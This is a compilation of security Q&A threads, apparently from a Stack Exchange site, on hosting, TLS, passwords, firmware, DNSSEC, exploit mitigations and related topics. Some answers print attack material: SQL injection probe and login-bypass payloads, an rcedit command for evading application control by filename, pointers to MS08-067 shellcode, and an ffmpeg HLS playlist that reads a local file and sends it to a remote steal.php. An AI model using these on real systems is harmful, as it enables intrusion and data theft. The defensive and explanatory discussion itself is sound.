SQL Server of my hosting provider allows me to see all databases. How secure is my mine? My hosting provider allows access to its SQL Server. When I connected to it by SQL Management Studio, all hosted databases were visible.

I can't get the details on these databases, I get this error:

  "The database x is not accessible.(Object Explorer)

I don't know if there is a way to get sensitive information. Should I be worried about the security of my database? How should a company provide secure access to a database?

It is possible to have the rights to list the databases and not have the rights to use the database.  The only way to know for sure would be to try and access one of these databases.

That being said,  an attacker could use a privilege escalation vulnerability in MS-SQL to gain admin rights and then can access any DB.  But this is a known problem with shared hosting and this is one of the reasons why it is less secure.


Accepting Card payments with SNI SSL Certificate As part of an app I'm making, I'm making a premium version that processes cards on behalf of customers using Stripe.

are SNI (Cloudflare) based SSL Certificates seen as less secure for this/a bad tool for the job?

I'd prefer to have it properly integrated obviously but if SNI isn't an option I can just use their checkout.

Thanks

First, there is not such thing as an SNI SSL certificate or an SNI based SSL certificate. SNI is a TLS extension in that the client includes the servers name in the TLS handshake so that the server can pick the correct certificate in case multiple certificates are served by the same IP address. There is no difference in the kind of certificate used with SNI and the one used without. Browsers use the SNI extension for all TLS connections because they don't know if the server needs it or not to serve the proper certificate.

The main question instead is where the endpoint of the TLS connection is. In case of a CDN like Cloudflare this endpoint is the CDN. This means that Cloudflare can look at the decrypted traffic. And, since multiple hosts are served on the same IP address Cloudflare uses SNI to make this possible. But this is only a side effect, not a security problem by itself.

In a similar problem you run if you use shared or managed hosting. In this case at least the company managing the system can have access to the decrypted traffic. And with shared hosting you additionally share the same system with 100's of other users which increases the attack surface a lot: An attacker often needs a single weakness in one of the web applications or a weak password for shell access to get access to the system and with a privilege escalation attack he then can quickly own the whole system and look at the decrypted traffic. Also, SNI is often used in shared hosting to share the same IP address between multiple certificates. But again, the problem is not SNI in this case.

The best option would be if you use your own server as the TLS endpoint, not shared by others and managed in a secure way. And not to use any CDN in front which will be the TLS endpoint instead. But as always you need to clearly evaluate all the risks together: while having a CDN in front which works as a TLS endpoint is bad for security having a CDN which protects you against DOS attacks is again good for security.


Is there any way to validate the firmware in a USB flash drive? I bought a pair of USB flash drives made by Huawei and I want to know if there are any tools in existence for verifying that the firmware on these drives is secure. I bought them for researching this exact thing.
All of my normal web searches for trying to find this out, come back with the standard warnings not to insert a flash drive that you pick up in a parking lot - duh; but what I am asking goes much deeper.
If anyone here knows of a way to validate that the firmware in a new USB flash drive only does what it's supposed to do, I'd very much appreciate knowing about it; otherwise I guess I'll disassemble it and see what I can find out on my own.

Yes, there is, but is complex and time-consuming:

Open the case

Use hardware probes to the pins of the NAND chip storing the firmware

Take a dump of the firmware

Use a disassembler or debugger to check the firmware

In the end, it depends entirely on your reverse-engineering skills. Even a good reverse-engineer can be fooled if the firmware have specific functions made to confuse or misled debugging, so your results may vary.
Instead of using the firmware to store malware, an attacker will most likely use the storage itself.


Analyzing Network Anomalies for Malicious events For a network security project we are listing to our network traffic of about 50-60 hosts. We aim at identifying malicious event within our network traffic by identifying network anomalies.

Our main aim is to find out if there is anomaly in our network. A special case would be to detect reboots. what would be the advantage of analyzing Network anomalies against traditional signature based approach? or what could we find out else with this information?

Note: As far as I know there is just a little bit malware, who reboot computer. Is there any anomaly causing a host to reboot?

A memory issue can cause a server to BSOD. If your settings for the BSOD are to automatically reboot, then the server reboots.

Some malware might need to load at startup, so the intruder may trigger a reboot in some way.

Read this article:

http://www.clickonf5.org/7848/howto-solve-frequent-restart-shoutdown-computer/

It shows that reboots are not just caused by malicious people, but by many issues. From an operational standpoint, you would want to know what caused the reboot so you can fix it.

Additionally, the advantage to detecting reboots may be "because our industry requires it." This article http://www.nist.gov/itl/csd/monitoring-012412.cfm and NIST SP 800-137 show some mandates and guidlines for continuous monitoring. Since a reboot be a notable event, you'd want to know what caused it.


Best practice for password-protecting a secret key What approaches are generally accepted for generating a password-protected symmetric key?

My intuition is to generate and store a random string of appropriate length as the password-protected key, then HMAC it with a PBKDF2ed password to get the actual symmetric key. With this approach, is the PBKDF2 step necessary or superfluous? Is there a better approach (e.g., XORing the generated key bits with the PBKDF2ed password key bits)?

Edit: I realized after making this post that it makes more sense to do HMAC(key, password) than HMAC(PBKDF2(password), key).

Update: The answer is PBKDF2(SHA256, password, key, iterations).

PBKDF2 is designed exactly for the purpose you're thinking of: to make the time tradeoff for attacking a low entropy source comparable to that of attacking the resulting output as if it were a purely high entropy source.

In a contrived example, I might make my password using one of four numbers. The resulting key could be one of 32 numbers. To make them equally secure against brute forcing, it need to take as long to test one of the four keys as it would to test seven of the 32 keys (32 / 4 - 1 because the resulting 1/32 must also be tested). To protect against rainbow tables, adding a salt would also be helpful.

PBKDF2 accomplishes those above tasks of slowing the process and uses a salt. Unless you're running your output from it through something that has a comparatively slow operation process, then taking the output from PBKDF2 would be appropriate.

Other key strengthening designs such as bcrypt can also be an option. In any method you use, make sure that your output is at least as many bits as your key needs to be. You can hash to a smaller size, but never use hashing to get a longer key.


Is it possible to change original filename of an exe? We are using an application control solution which denies access for some exes according to their original filename. Is it possible to change original filename with hex editor or another method?

Yes. There is a tool on GitHub here that can change that information. It supports both 64-bit and 32-bit.

The syntax I used: rcedit-x64.exe cmx.exe --set-version-string  OriginalFilename "cmdx.exe" --set-version-string FileDescription "details are irrelevant"

Therefore, your solution may be efficient against beginners, but not against people with IT knowledge.


How safe are passwords while using prompt? Simple question.
How safe are passwords while using prompt? For example logging through SSH.

ssh user@server

and then you have question for password - of course hidden but... what's going "under hood"? It is stored somewhere?

It depends:

I would generally say yes.
SSH is a secure protocol. You can expect the major open source clients to focus on security (since the source is available, it's easily verifiable).

However, if your machine runs a malicious program that scans your memory in real time, or store your key presses (keylogger), then the answer is no.


Offline authentication based on device serial number I've a portable device with custom application written for it.

What I want, is to secure that application, to make it impossible or at least harder to run it(application, or OS itself it doesn't matter) on some other device e.g. if someone somehow stolen the application, they should not be able to run it on unauthorized device. Device will not connect to the internet and authorize with server, that I can do, but how to do it offline?

How should I approach this problem? Is there some general approach to this? Or I am left only with "enter the password" option with hashed password on the device?

EDIT:
OS: Android
Device: any type of table and/or unspecified "box" device without sim card. Something like a controller, or a very small server.

The most secure option is to use TPM-assisted full-disk encryption along with secure boot , signed binaries , run-time TPM-"measured" kernel and applications. If your platform doesn't support that, some other approaches in order of decreasing strength :

use a TPM to decrypt/measure the application each time before it is
run
use a dongle which communicates with the app (perhaps as TPM
replacement)
hash/stretch serial numbers and other IDs , and always
decrypt the app with the resulting key


Is it safer to download a file from the internet and open it versus opening a DVD? Recently I was in the hospital and I brought the results of all test that were done by doctors with me on a DVD to avoid printing 100 pages. I wanted the doctor in the hospital to see it, but she refused, saying that she could not put a DVD in her DVD-drive due to viruses. But she could get the file via internet.

Is it safer to download a file from the internet and open it versus opening a DVD?

Information security policies in corporations and other businesses are strict when it comes to removable media. There is the risk of abuse from someone copying malicious data to and from the removable media, both knowingly and unknowingly, the same risks will also apply with Internet media, let's take a look at the Pros and Cons of both Network Level Traffic Filtering and Local Scanning.

Pros/Cons of Network Level Traffic Filtering:

One index of virus definitions to keep updated
Scanning is in real time
All clients on the network are protected, not just the ones that the virus definitions index is updated on.
The benefits won't extend to scanning USBs, DVDs, etc

Pros/Cons of Local Scanning:

One index of virus definitions per device to keep updated, whileas this can be mostly automated, there are various risks including tampering, a device might not have the latest update downloaded yet, etc so there are potential problems with operating this at scale so this shouldn't be the first line of defense on large networks.
The benefits are extended to scanning USBs, DVDs, etc making sure that all media is scanned against the index.
Only clients with the scanning installed are safe.

It's safe to say that while both formats of media have their own sets of risks, and while each form of filtering/scanning has it's own pros and cons, the filtering of network traffic can be centralized while removable media cannot be easily centralized. So to summarize getting a file from the Internet isn't really safer, but from the network administration perspective, it's a lot easier for them to manage and I understand why such a policy is in place.


Open source video conferencing software with encryption A couple of friends and I are looking for an open source video conferencing software. We'd like to run the server on a Debian box, but the clients are Windows machines. Most importantly, it should support encrypted video calls. It would be very cool if it would also allow conference calls (i.e. more than two people have an encrypted video chat together).

Now, the open source criterion is mostly a measure of security to us. If we use video conferencing with encryption, we'd like to see the code that does the actual encryption.

We have tried to use freeswitch and MicroSIP but ran into serious problems. We then found this very unsettling stackoverflow post which basically says that this is at least going to be very tough.

We would have thought that this is something that everyone wants ever since PRISM, but we couldn't figure it out so far. Any recommendations would be greatly appreciated.

Jitsi offers video chat, comes with OTR/SRTP/ZRTP.
https://jitsi.org/
The docs say that it can do multi-user video
https://jitsi.org/Projects/JitsiVideobridge

I have only tried the chat and phone function, they work very well


NMAP host discovery reporting discrepant results between NAT and Bridged mode I figured this would be the most relevant place to ask this question. I'm using a Kali VM to run some network scans. The results are different depending on whether my network interface is bridged or NATed.

Running this scan nmap -sn 192.168.1.0/24 in NAT reports all 256 IPs as online hosts. The same scan in bridged reports the correct number of 5 online hosts. Note that this is from a freshly downloaded VM with no changes done on it.

Why the difference? I'm guessing there must be some issue with ICMPs or ARPs coming through? Could this be a config issue on my host (fresh LTS Ubuntu 14.04)?

I would be interested in understanding the reason and also any fixes. I'd like to have accurate host discovery without having to bridge every time.

EDIT: I am using VirtualBox 4.3.36.

VirtualBox sets the NAT up with its own IP address range and set of rules like the NAT in your router. So to get to the internet you are actually going through two NAT interfaces.

VirtualBox's NAT network treats all 256 IP addresses as online hosts because of
the internal VirtualBox NAT configuration. Bridged mode bridges you directly with
your NIC using your host's configuration which is why those results are more accurate.


What specific assurances exist about StartPage privacy? What specific, technical and verifiable information exists to support StartPage’s claims about privacy? For example, they claim in the “Privacy” section of their iPhone app:

  StartPage does not record any information about its users. Zero. Zilch. Nada.

and

  [O]ur privacy practices are regularly audited and third-party certified.

I am skeptical because they essentially claim to serve up Google results anonymously. It seems surprising to me that Google would allow this, and even more surprising that StartPage asserts that

  [Y]ou receive authentic Google results but you're never seen by Google[...]

Startpage.com has a contract with Google that allows us to use their official "Syndicated Web Search" feed, so we have to pay them to get those results. Sometimes we get slightly different results, but in general, they are the same high quality.

We serve those results to you in privacy. Google never sees you, and we never log any user personal information. Even Edward Snowden has recommended Startpage.com for its no-logging privacy.

You can be sure we never share your personal details with any third party, including Google. Your privacy is absolutely secured. You can read more about this in our privacy policy.

Can users trust Startpage.com do do what it says and maintain its privacy promises? We have an article on this here.

If you would like more information, please feel free to email our tech team: Support@Startpage.com.


Should I be worried of tracking domains on a banking website? Finland's largest bank OP (former Osuuspankki) has added tracking domains (all three owned by Adobe) in their website redesign:

These domains are loaded when signed in:

2o7.net
demdex.net
omtrdc.net

Is this considered acceptable? What information can third-party domains gather on my bank account activity?

It looks like the main site is embedding script from Adobe Marketing Cloud directly into the page. While these scripts are loaded from the same server as the main site it looks like that these scripts communicate with external servers using XHR and also download new script from demdex.net and 2o7.net according to the logs of uBlock Origin.

Especially the loading and executing of new scripts from a third party outside the control of your bank is a huge security problem. Essentially these scripts can get full control over the web site, including reading what you enter, changing submitted or displayed content etc. These are essentially cross site scripting, only that they did not happen by accident but the developers of the banking site explicitly invited  these third parties to do cross site scripting.

While such use of third party services might be acceptable on a site where no sensitive information is entered, it is absolutely not acceptable whenever sensitive information is transferred or when it unexpectedly changes to the content of a web site (like showing a different account balance) and might cause unwanted actions from the visitor.


Does IP Spoofing mean using a proxy? As said in question, does ip spoofing mean that someone uses a proxy, thereby he/she appears as different ip in the internet world?

IP Spoofing normally refers to the process of forging network packets to provide a misleading source IP address. When your computer sends data on the network, it includes it's own IP address in the data (similar to a return address on an envelope). Spoofing involves lying about what the actual return address is. There are many reasons for doing this, not all of them malicious.

There are also limitations with spoofing. For example, in TCP, it is not possible to set up a full connection with a spoofed address due to the handshake process.

Proxy use is sometimes called spoofing (especially by non-technical people), but there are some important differences. Specifically, it is still possible to trace the connection back to an originating host (i.e., the proxy) but not necessarily back to the original user.

Furthermore, on some corporate networks, all traffic goes through a proxy. In these cases, the IP address of the individual workstation might be useless to an external service. But, the proxy actually places a more more accurate, publicly routable, address on the packet. Additionally, some HTTP proxies are configured to add the original source IP address to the packet in the form of the X-Forwarded-For header.


How do I test for SQL injection vulnerabilities on a site with input fields? What methods are available for testing SQL injection vulnerabilities?

There are a number of ways of testing an application for vulnerabilities such as SQL Injection.   The tests break down into three different methodologies:

Blind Injection:

MySQL example:

http://localhost/test.php?id=sleep(30)

If this SQL statement is interpreted by the database then it will take 30 seconds for the page to load.

Error Messages:

http://localhost/test.php?id='"

If error reporting is enabled and this request is vulnerable to sql injection then the following error will be produced:

  You have an error in your SQL syntax; check the manual that
  corresponds to your MySQL server version for the right syntax to use
  near '"' at line 5

Tautology Based Injection:

http://localhost/test.php?username=' or 1=1 /*&password=1

In this case supplying a Tautology,  or a statement that is always true provides a predictable result.  In this case the predictable result would be logging in the attacker with the first user in the database,  which is commonly the administrator.

There are tools that automate the use of the methods above to detect SQL Injection in a web application.  There are free and open source tools such as Wapiti and Skipfish that do this.   Sitewatch provides a free service that is a lot better than these open source tools.  I can say that because I am a developer for Sitewatch.


http referer security quoting from Referer header: privacy and security concerns

For example, consider a "reset password" page with a social media link
in a footer. If the link was followed, depending on how information
was shared the social media site may receive the reset password URL
and may still be able to use the shared information, potentially
compromising a user's security.

I would like to ask what is the security concern in such case? If I would click on the social media link as described above, the social media site would receive only(?) the link for the password reset link but there shouldn't be any sensitive information like username or password since I did not provided them in the form or is the above scenario addressing a case when I'm already authenticated  and access the password reset link and it "somehow" reveal for example my personal information ?
Could someone please explain or at least provide some information for further reading ?
Thanks a lot !

Consider a case where a site implements a password reset procedure as follows:  The user id and current timestamp are encrypted using symmetric encryption with a key known only to the server, then this encrypted value is embedded in a URL (i.e. the 'password reset link') that is emailed to the email address on file for the user.  When the user clicks the password reset link, the server then decrypts the encrypted user id + timestamp in the password reset link to determine the user that the link was created for, and when the link was created.  Then, the server can 1) verify that the user was in fact able to receive the email sent to the email address on file, and the server can 2) calculate the amount of time that lapsed between the time that the link was generated and the time that the user clicked the link.  If this amount of time is with an acceptable tolerance (e.g. 30 minutes or less), then the server assumes that the password reset request is valid, and proceeds to let the user change the password.

Now, in the scenario that you reference in your question where the HTTP referrer is leaked, let's assume that the user clicks the password reset link sent in the password reset email, then before completing the password reset process, the user gets distracted and clicks on a social media link at the bottom of the page.  Then, the password reset link is now passed to the social media site as the HTTP Referrer.  The social media site can now access access the password reset link, and proceed to change the user's password, as if they were the user.  Then, they can proceed to access the user's account.


Early ChangeCipherSpec Attack For the early ChangeCipherSpec attack, the attack would affect client with all version of  OpenSSL and server with OpenSSL version 1.0.1 and above.

My question:
If two mail servers are communicating with each other, would they be susceptible to such attack (assuming they are using OpenSSL version 1.0.1 and above)

Thanks in advance!

Yes.

In your case, one of the servers plays the role of a SSL client. It initiates a SSL connection and sends mail to another server that plays the role of a SSL server.

From the document that you mentioned in your post:

  All versions of OpenSSL are vulnerable on the client side. Only 1.0.1 and above are currently known to be vulnerable on the server side.

Since you are using OpenSSL 1.0.1 and above on both servers, both of them are vulnerable and the system as the whole is susceptible to OpenSSL MITM CCS injection attack.


What types of attacks and abuse does DNSSEC protect against? I've read lots of different articles on what DNSSEC is and that it provides authentication for DNS. What I unfortunately haven't seen is a good description of the types of attacks and abuse that DNSSEC can prevent/mitigate.

With most of my own personal sites' DNS hosted by registrars, what compelling reasons should motivate me to spin up a VM for hosting my own BIND and DNSSEC?

Cache poisoning by implementing cryptographic signatures for zone transfers. If you wish to encrypt payloads then use IPSec


Preventing Active System Compromise in Iran A friend of mine is politically active in Iran and under constant surveillance by the rigorous secret service there. There are frequent break-ins into her apartment. She finds her system often compromised in various ways. Understandably she is not comfortable using her computer for anything but the most inconspicuous tasks, given the low probability of detecting specially designed targeted malware using commercial products.

Hence my question is:
Has hardware been developed to fill this niche i.e. does a system exist that is not vulnerable to fancy rootkit shenanigans? Or perhaps something that resets the entire hard disk to factory state before startup? She is not looking for anything fancy. A basic browser is about all she needs. Additionally she is looking for a similar solution for her router, which she currently uses to tunnel herself into a safe network.

No, there is not that kind of hardware, at least not common available.

Another option is to continue with the virtual machine idea as suggested by another. However, skip the part of snapshots. Instead, use truecrypt to create an encrypted file container. Inside that encrypted file container create an encrypted virtual machine with VMware player - inside that encrypted virtual machine in the encrypted file container create an encrypted linux installation. When done, copy this original VM to another VM inside the same encrypted file container. Use the copy of the VM for her internet activities and when done secure shred the entire VM. Next time she needs to go on the internet, make a copy of the original VM and use that for her stuff and after use secure shred it again etc. Use strong passwords and three different ones for each encryption.

The above is worthless if her computer is not clean for spyware, or other malicious software. Also, there are other means to obtain surveillance of her activities, especially if she uses the same ISP/connection/router/wall-plug etc every time. Also, truecrypt apparently suffer from a flaw - she may not sleep, suspend, hibernate etc her computer without dismounting the TC file container. Values are in memory and will be saved to hard drive in case of only suspending her machine. The safety of TC is under debate after the original developers closed the project due to flaws in the security, but a lot of ppl do not believe the official reason.

Nothing in this world are truely secure, giving time and if the stake is high enough.

BTW: Use SSD drives only. :)


Control flow integrity and data flow integrity Many exploits nowadays can be prevented by control flow integrity (CFI). However, there are also data only exploits such as Heartbleed, read arbitrary data/keys which can be prevented by data flow intgerity (DFI).

I wonder how CFI and DFI are co-dependent.

Does it make sense to have DFI and CFI?
Does DFI imply CFI?
Can I still use exploits that alter the control flow graph (CFG) if I have only DFI?

Does it make sense to have DFI and CFI?

No.

  Does DFI imply CFI?

Yes, because hijacking the control flow means modifying a control-data and DFI ensures the integrity of data whether it is used for control or not.

  Can I still use exploits that alter the control flow graph (CFG) if I have only DFI?

No, it will be detected.

DFI enforces a policy on the data-flow observed at runtime. It ensures that a program must follow a data-flow graph generated via a static analysis at compile time. An instrumentation pass on the program adds checks before each read instruction to ensure that they do not read a corrupted data.

The static analysis uses a reaching definition analysis. It is a data-flow analysis that gives us for each read instruction reading a variable, a set of instructions that could have last defined this variable.

For each read instruction the analysis is performed, and each write instruction that defines a variable is assigned an unique identifier.

Then, an instrumentation pass adds checks before each write instruction to  update a table mapping an address being written to and the last identifier  having written a value at that address.

In addition, the instrumentation adds checks before each read instruction. It fetches the identifier mapped with the address it is reading the value from, and it ensures that the identifier is in the set of reaching definitions found thanks to the static analysis.

For instance, if an attacker manages to corrupt the return address on the stack, the write instruction used to corrupt it updated the table with its identifier. Hence, the instrumentation just before the ret instruction will notice the corruption, because the last identifier used to modify the return address is not in the set of allowed identifiers.

That's why DFI prevents both non-control data attacks and control-data attacks. It also explains why it does not make sense to use both, because it would be redundant.


Securing a Shuffle Algorithm After reading about writing a secure shuffle algorithm, I realized that my module that generates a password is only as strong as my PRNG, which in this case is Math.random(). I'm confused as to how to replace Math.random() using SJCL's PRNG. What exactly should I be concerned about when generating a secure random value, and more importantly how can I make this more secure (if possible)?

Here's my example:

var sjcl = require('sjcl');
var _ = require('underscore');

var shuffle = function (password) {
var size = password.length;
for (var i = size - 1; i > 0; i--) {
  var j = (Math.random() * (i + 1)) | 0;
  var temp = password[i];
  password[i] = password[j];
  password[j] = temp;
}
return password;
};

var generate = function (length) {
  var decimals = _.range(33 + (126 + 1));
  length = length || 10;
  return shuffle(_.map(decimals, function (ascii) {
    return String.fromCharCode(ascii);
  })).join('').slice(0, length);
};

To make a random, unbiased shuffle, you apply the Fisher-Yates algorithm. If you want to shuffle an array x of n elements (numbered from 0 to n-1), you do this:

for all i from 0 to n-1
    let j = rnd(n - i) + i
    swap x[i] with x[j]

where rnd(k) means: generate a random uniform value in the 0 to k-1 range. Note that it may happen that i = j in the loop above, meaning that you may swap an array element with itself. This is normal, and needed for proper uniform selection of a permutation.

Your problem, then, is how to convert a stream of random words into random selections in a smaller range. sjcl.prng.randomWords() returns an array of 32-bit words, i.e. values in the 0 to 232-1 range. If you simply divide a word value by k, and keep the remainder, then your selection is biased. The trick is to reject part of the range, so that the rnd() function looks like this:

rnd(k):
    while true
        let z = next-random-word
        let r = z mod k
        if z - r + k <= 2^32
            return r

For instance, if k = 37 (you want a random unbiased integer in the 0 to 36 range), then you generate a random z. If that value z falls in the 0 to 4294967288 range, then you just reduce the value modulo 37, and you have your random integer; this is unbiased because 4294967289 is a multiple of 37. However, if z falls in the 4294967289 to 4294967295 range, you have to try again with another z.

(Mathematically speaking, some sort of loop is unavoidable when k does not divide 232. The risks of looping many times are negligible, though.)

I don't know exactly what you need your shuffle for; if that is for generating a "password" then doing a shuffle of printable characters from 33 to 126 (the ASCII printable characters, excluding space, thus 94 values) is weird, because there is no law against using the same character twice in a password. In fact, forcibly preventing the same character from appearing twice in a password reduces the space of possible passwords, and thereby reduces security. To generate a random password, it is simpler and also better to produce each character randomly and independently of the others; fiddling with permutations and shuffling is just unnecessary complexity (and complexity is known to be, in general, harmful to security by itself).


Storing a user's password in a retrievable manner I currently store my users passwords as PBKDF2 hashes, for the authentication part of my web application.
Each user also has their own private key and public key (also stored in their user profile in the database).  The private key is encrypted with their plain text password upon registration.
Now, I've come to the part where I need to retrieve the user's private key, to decrypt other data - so the issue is; what would be the best way to allow me to access the user's private key?
I have a couple of ideas in mind:

I could (upon login) decrypt the private key, then encrypt it with DPAPI and store it in persistent memory (server side).
I could encrypt the user's password with an OTP, and then store the encrypted password in a cookie (on each request I could generate a new OTP, re-encrypt the password, and put back in the cookie) The OTP would have to be stored in server-side persistent memory (probably encrypted with DPAPI).
I could store the store the OTP and the encrypted password in persistent memory (server side).
I could store half of the password (encrypted) in a cookie and half in persistent memory (server side).

Which one of these options would be the most secure? Is there another method that I haven't thought of?
I know rolling your own is a baaad thing, but this application doesn't need to be government level super secure, but I would like it to be as secure as I can possibly make it.

It looks like you want a back door and that you're not concerned with privacy or legal consequences.

Two recent stories to provide some context

2013: Lavabit intentionally lacked access to its users' content so that it could not be accessed by a court order.  When the NSA figured out that they could get it by demanding the server's SSL private key and reading all traffic (rather than that of the user in question, Edward Snowden), Lavabit decided to shut down rather than risk compromising the security of every single user.

2016: The Apple vs FBI debacle is a similar story, playing out right now, about the foolishness of back doors.  I've chosen to link a summary of comedian John Oliver's explanation of the issue because it is rather well composed.  That link also features Oliver's 18 minute HBO feature on this issue, which you can watch directly at Last Week Tonight with John Oliver - Encryption

If you still want to do this

PGP supports multiple recipients, which I'd recommend over actually saving the password.  This will let you encrypt data to a server key in addition to a user-specific key.  Please note that it would be highly irresponsible to not advertise that you're doing this to your users.  It might even be illegal.

Implementing this is as simple as specifying more than one recipient in GPG or whatever implementation you use.  For example:

gpg --encrypt --recipient user@example.com \
              --recipient server@example.com message.eml

Depending on your intended use, this probably requires storing the server's private PGP key without a password, which is a problem in itself.  If possible, try to use a hardware-based system like an OpenPGP card or at least require a human to unlock the key at each boot (with failovers to your code that accept that the server private key might not always be loaded).

Again, this is a back door and is not advised since it is still subject to subpoena and hackers (though an OpenGPG card or similar hardware key should prevent remote attacks).

It would be vastly preferable to find some other solution to your issue.  Since you haven't spelled out what you're actually trying to do, this community won't be able to help in that regard.


Insider's threat to a hosted server If we buy a VPS, the admin of the enclosing server can always steal our data, right?

Is using a dedicated server a solution? (We can't afford our own datacenter in any case.) But it seems that stealing from a dedicated server is harder, as one needs to plug into it physically.

If nevertheless using a VPS, does ordering it from a big company help our security? (The company would be on our side against the black hat admin, because for a big company their reputation is more valuable than our data.)

When ordering cheap VPS's this is certainly true.

However, the largest cloud service providers are a different matter. If this is a genuine risk, you should look at the likes of Azure and AWS which have very significant certifications for security.

Azure, for example, can offer customer lock keys and provide very significant process security that greatly limits admin access to customer data even without the use of customer keys.

Actually, stealing from a physical server is often easier than the best cloud services. Again using Azure for reference as I am most familiar with that. Azure generally splits customer data across multiple physical storage arrays and even across multiple compute VM's so that physical access to the data centre would not enable access to your data.

Again, though, this is very different to buying a VPS which will be a logical slice of a physical server. In that case, the vendor's admins will have full access to your data whether you like it or not.

All of this comes down to managing risk. What data are you storing? Are you working in a regulated industry (e.g. Finance or Health)? How many records? If you are running a business from a VPS, what insurance do you have? How are you managing your liabilities to your customers?


Burp proxy between non proxy aware device I want to intercept traffic between a Ethernet connected device, which is not proxy aware and modify/inject javascript. Conventionally when testing webapps I would use burp.

Can burp sit on my machine listen on one network interface and use the other network interface to forward the traffic to the desired destination? If not is there a better way to inject data into a http session?

The device under test is an embedded device which is why it isn't proxy aware.

Thanks

David

Have you looked at burps support for Invisible proxying?  It sounds like it would help with the test you're looking at as it's designed to let burp work with non-proxy aware clients.


What does a code pointer look like? I'm writing a fictional short story in which I would like to be factually accurate. The protagonist is trying to overflow a buffer.

Suppose he is allowed to input a null-terminated string in a really low-security app. What would the payload of the string he uses look like? Would it just be a hex address? Would it differ for different computers? If possible, could you please give an example payload that would potentially work for a modern (post 2004) Windows or Mac laptop?

For being targeted;

If you need a fancy source code (which is real) https://github.com/rapid7/meterpreter/blob/master/source/server/server_setup_win.c you can check this
If you need a fancy shellcode (which is real) have a look https://github.com/jivoi/pentest/blob/master/exploit_win/ms08-067.py it will be at line 54
the most well known vulnerability of post 2004 is MS08-067. You can see that exploitation steps at https://www.youtube.com/watch?v=joT8NxlXxVY.
the most well known payload / backdoor is meterpreter.

PS. There is hundreds of exploits for post 2004, I just shared most known and nearest date.


Cracking Salted Peoplesoft Hashes So I felt the saga of my last post was getting too long (linked here: Unknown round length makes hash uncrackable?) so I would create a new one addressing the current problem as it stands. My new avenue is looking like the hashed passwords and salts I have collected are Peoplesoft hashes due to an identification from this tool: https://github.com/psypanda/hashID. To test if that is a false positive I planned to use hashcat to crack my known account hash, which I have the salt and plain text password to, but they only have a mode for unsalted PeopleSoft hashes.

There is a bit of old work done here (https://github.com/kholia/ReversingPeopleSoft) to reverse how PeopleSoft performs salted hash generation but that appears dead.

Does anyone have any leads on how the hash is performed so I can try and recreate my hash to check if it is a PeopleSoft variety or know of a way to coerce Hashcat into using it with a different mode?

Thank you.

Hashcat currently (Nov 2018) only supports unsalted PeopleSoft hashes - there's no way that I know of to get Hashcat to apply an arbitrary salt to them at speed. I also haven't been able to determine what the actual algorithm is yet, and neither John the Ripper nor MDXfind appear to have support yet for salted PeopleSoft hashes.


How to handle media files from untrusted sources? I've been a heavy user of ffmpeg-based players and encoders for years, and though I've heard about numerous security issues, I always assumed that staying up-to-date was safe enough. However, I just saw an article (in Russian) which explains how ffmpeg can be misused without relying on any bugs at all.

For the brave:

Create a file /tmp/secret.txt with a secret word (important: no newline at the end). Now play this innocently-looking video:
http://dimag0g.hd.free.fr/ffmpeg/steal_secret.avi
with an ffmpeg- or libav-based player (I tested SMPlayer 14.9.0 on Debian). Does your secret word appear in the video?

Windows users may try http://dimag0g.hd.free.fr/ffmpeg/steal_secret_win.avi which attempts to steal c:\secret.txt, though I didn't test it.

How it works:

steal_secret.avi is actually an HTTP Live streaming file which looks like this:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dimag0g.hd.free.fr/ffmpeg/head.m3u8|file:///tmp/secret.txt|http://dimag0g.hd.free.fr/ffmpeg/tail.m3u8
#EXT-X-ENDLIST

It instructs SMPlayer to concatenate three files: a header, secret.txt and a footer. The result of this concatenation is, again, an HLS file which looks like this:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://dimag0g.hd.free.fr/ffmpeg/steal.php?secret=your_secret_word&.txt
#EXT-X-ENDLIST

This time, contents of secret.txt are sent to steal.php as a URL parameter. In my case, steal.php simply prints back your secret is <your_secret_word> 1000 times, so it gets displayed inside the video. A real attacker could have saved the secret and displayed an innocent clip to the user, raising no suspicion.

Note that this trick doesn't rely on bugs, it uses a supported format and a useful concatenation feature. And often you don't even have to click on the file: your file manager will run ffmpeg on it to generate a thumbnail.

What to do?

Besides the obvious advice of being careful with untrusted files and never ever running GUI as root, what could be done to minimize the risk? Specifically, what media player should I use when opening such files? So far, my example only works with mplayer and SMPlayer, which support concat, but I wonder if other media players supporting HLS can be exploited in a similar way.

Indeed, there are many vulnerabilities in FFmpeg and alike, many of them discovered by researcher at Google with fuzzing technique. Updating your player, encoder and codecs is a must to reach a secure system as far possible.

If you have to deal with (media) files from untrusted sources, I may suggest handling them in a “virtual container“. Check out some of the solutions like VMware or VirtualBox which provide free versions.

I'm working as a security researcher and my team is relying on this approach for all critical file-types (media, documents, executables, etc.). It has some negative impact on comfort and performance, usually just in a minor way. But sometimes this is the price you have to pay for security.


Microsoft recommended patching period - Security Patch release and updates Ideally a security patch released by a vendor such as Microsoft for the Windows OS is required to be patched immediately. What would be the recommended patching period that Microsoft or best practices would require by which the systems should be updated?
Microsoft as I understand releases patches every second Tuesday of the month as a cycle. Accommodating the time to test those patches against applications within the user environment should 30 days from the date of release for a medium level risk be a reasonable upper limit set for carrying out the patching?

Any suggestions or recommendations are highly appreciated.

Microsoft have been telling us for a while that most customers no longer bother to test patches.

The reason is that the cost of testing so many patches so regularly is prohibitive compared to the very low risk of patches causing problems. This is especially true now that patch release cycles are so short since a faulty patch can often itself be patched in less time than it would take for you to test it.

So nearly everyone now just applies Microsoft patches as they arrive - we do that, simply spreading the load of the patches over a few days to even out performance over the network.

The same cannot be said for some other vendor's patches. Java is the obvious one that springs to mind!


Are there any security concerns if certificates work with multi-level subdomains? If you buy a domain, you may think you then have full control over its sub-domains. Well, not necessarily true. As this question and its answers point out, you may need multiple SSL certificates to cover multi-level sub-domains because wildcard matching only works with a single level of sub-domain (ref).

For example, *.example.com will match foo.example.com but not bar.foo.example.com.

I simply cannot figure out the security concerns therein. My best guess is that it may reduce the number of victims when the certificate is compromised. Are there any other valid security benefits from the wildcard matching restriction?

EDIT: Not a dup. The answers to that question are hardly satisfying from a security point of view. They are either too simple or focusing on something else.

A certificate should be issued for the entity which manages the specific domain. There are environments where different sub-domains are managed by different entities. This is for example often the case within universities where different departments have their own sub-domain and have their own systems within this sub-domain. These systems are usually managed by the department itself and not centrally by the university.

If *.example.com would match every sub-domain and subsub-domain it would not be possible to limit the wildcard certificate to only match the hosts managed by the specific entity.

